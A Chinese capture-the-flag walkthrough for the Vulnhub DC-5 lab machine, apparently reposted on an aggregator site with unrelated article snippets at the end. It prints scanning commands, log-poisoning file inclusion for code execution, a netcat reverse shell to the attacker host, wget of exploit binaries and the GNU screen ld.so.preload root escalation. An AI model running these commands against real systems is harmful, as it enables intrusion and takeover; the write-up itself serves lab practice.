Vulnhub靶场DC-5

本机192.168.223.128
目标192.168.223.133
主机发现 nmap -sP 192.168.223.1/24
在这里插入图片描述

端口扫描nmap -sV -A -p- 192.168.223.133
在这里插入图片描述

开放了 80 111 47089三个端口

先进入web界面看一下
在这里插入图片描述

contact界面好像有留言功能,尝试一下xss

<script>alert(111)</script>在这里插入图片描述

并没有弹窗,xss无效
在这里插入图片描述

注意到下面版权年数变了,并且页面每刷新一次都会变,打卡bp看看什么情况
在这里插入图片描述

并没有什么信息,猜测下面的年数与文件有关,扫描一下目录

dirsearch -u 192.168.223.133

在这里插入图片描述

里面这个footer.php没访问过
在这里插入图片描述

果然与年数有关,每刷新一次就会被变,那么thankyou.php界面应该就是包含了footer.php
猜测参数是file
在这里插入图片描述

成功包含,但是再找不到上传点,尝试一下log文件包含rce,用bp写入,防止尖括号被编码
在这里插入图片描述

读取一下日志文件看有没有包含进去,前面端口扫描的时候扫到80端口用的是nginx服务
nginx服务的日志文件目录在
/var/log/nginx/error.log和/var/log/nginx/access.log,我们看一下access的日志
在这里插入图片描述

成功rce,那么我们执行一下反弹shell,现在攻击机开个监听端口 nc-lvvp 4567
rce执行 nc -e /bin/bash 192.168.223.128 4567

在这里插入图片描述

成功弹回shell
切换到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

看了一圈没有扫描有用的信息的文件,看一下有哪些suid文件

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

screen 带个版本号有点可疑,搜一下exploit

searchsploit screen

在这里插入图片描述

看一下41154.sh
在这里插入图片描述

按照指示,把两段c代码分别编译成libhax.so和rootshell,然后在目标及上wget这两个文件
具体操作:现在攻击机上开启http服务

python -m http.server 6677

在这里插入图片描述

然后在目标机上wget两个文件

wget http://192.168.223.128:6677/libhax.so
wget http://192.168.223.128:6677/rootshell

在这里插入图片描述

然后在目标机上依次执行

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell

在这里插入图片描述
得到root权限
进而拿到flag。然而我的gcc版本可能过新,编译的有点问题,没拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/433091.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

已解决:安卓,怎么优雅接入科大讯飞语音评测功能?

写在前面&#xff1a; 网上关于讯飞接入的博客都很少&#xff0c;按说讯飞都是业界翘楚&#xff0c;不知为何&#xff0c;很少搜索到精品&#xff0c;一搜就是一个要求开会员的博客&#xff0c;我也是醉了。讯飞提供的文档也是不清晰&#xff0c;我是摸着石头过河&#xff0c;…

CSS如何设置谷歌浏览器字体小于12px

第一种方法 在浏览器的设置中修改&#xff0c;不过只能修改自己的浏览器字体大小&#xff0c;用户的不行 点击设置 找到自定义字体 修改字体大小 第二种方法 使用2D转换 scale() 当我们想设置字体大小为6px的时候 大家要记住&#xff0c;只能在块盒与行块盒中设置&#xf…

LeetCode.42. 接雨水

题目 题目链接 分析 读完本题以及结合题目给出的图我们可以很直观的看到&#xff0c;这道题目是让我们求形成凹槽的面积。 我们可以针对每一个数字形成凹槽的面积进行计算&#xff0c;然后相加数组每一个数字形成凹槽的面积即可。 那么问题来了&#xff0c;怎么知道一个数…

500行Python代码构建的AI搜索工具!

一个500行Python代码构建的AI搜索工具&#xff0c;而且还会开源&#xff0c;试了一下麻雀虽小该有的都有。 后端是Mixtral-8x7b 模型&#xff0c;托管在 LeptonAI 上&#xff0c;输出速度能达到每秒大约200个 token&#xff0c;用的搜索引擎是 Bing 的搜索 API。 作者还写了一…

Spring: alibaba代码规范校验工具checkstyle

文章目录 一、idea配置checkstyle插件二、激活CheckStyle三、配置自动格式化功能 一、idea配置checkstyle插件 下载 Intellij IDEA Checkstyle 插件&#xff1a;File -> setting -> plugin通过关键字CheckStyle-IDEA搜索并安装。 安裝完成后重启idea 二、激活CheckSty…

海康实时监控预览视频流接入web

我们采取的方案是后端获取视频流返回给前端&#xff0c;然后前端播放 海康开放平台海康威视合作生态致力打造一个能力开放体系、两个生态圈&#xff0c;Hikvision AI Cloud开放平台是能力开放体系的核心内容。它是海康威视基于多年在视频及物联网核心技术积累之上&#xff0c;…

Transformer and Pretrain Language Models3-6

Pretrain Language Models预训练语言模型 content&#xff1a; language modeling&#xff08;语言模型知识&#xff09; pre-trained langue models(PLMs&#xff09;&#xff08;预训练的模型整体的一个分类&#xff09; fine-tuning approaches GPT and BERT&#xff08;…

[C++]priority_queue——优先级队列(含模拟实现)

一、priority_queue是什么 priority_queue 是容器适配器&#xff0c;它提供常数时间的&#xff08;默认&#xff09;最大元素查找&#xff0c;对数代价的插入与释出。 可用用户 提供的 Compare 更改顺序&#xff0c;例如&#xff0c;用 std::greater<T> 将导致最小元素作…

什么是图形组态软件?可视化组态工具的特点

组态软件的定义 组态软件主要作为SCADA系统及其他控制系统的上位机人机界面的开发平台&#xff0c;为用户提供快速地构建工业自动化系统数据采集和实时监控功能服务。它使用灵活的组态方式&#xff0c;提供快速构建工业自动控制系统监控功能的通用层次的软件工具。 组态软件的…

Go、容器以及Linux调度器

在容器中运行Go应用程序时&#xff0c;需要设置合理的GOMAXPROCS&#xff0c;从而避免调度中因为资源不足而造成STW。原文: Go, Containers, and the Linux Scheduler Go开发的应用程序通常部署在容器中。在容器中运行时&#xff0c;重要的一点是要设置CPU限制以确保容器不会耗…

jnekins使用docker部署springboot项目

创建Dockerfile FROM openjdk:21 VOLUME /tmp ADD springboot3-0.0.1-SNAPSHOT.jar app.jar EXPOSE 8888 ENTRYPOINT ["java","-jar","/app.jar","--spring.cloud.nacos.server-addr192.168.8.11:8848"] 新建一个【自由风格】项目 选…

Mac网线上网绿联扩展坞连接网线直接上网-无脑操作

声明&#xff1a;博主使用的绿联扩展坞 以下为绿联扩展坞Mac网线使用方法 1.首先需要下载电脑对应版本的驱动 直接点击即可下载 2. 下载好以后 解压 点进去 对应版本 博主直接使用最新的12-14 3. 安装包好了以后 会提示重启电脑 此时拔掉扩展坞 再重启动 拔掉扩展坞 再重启…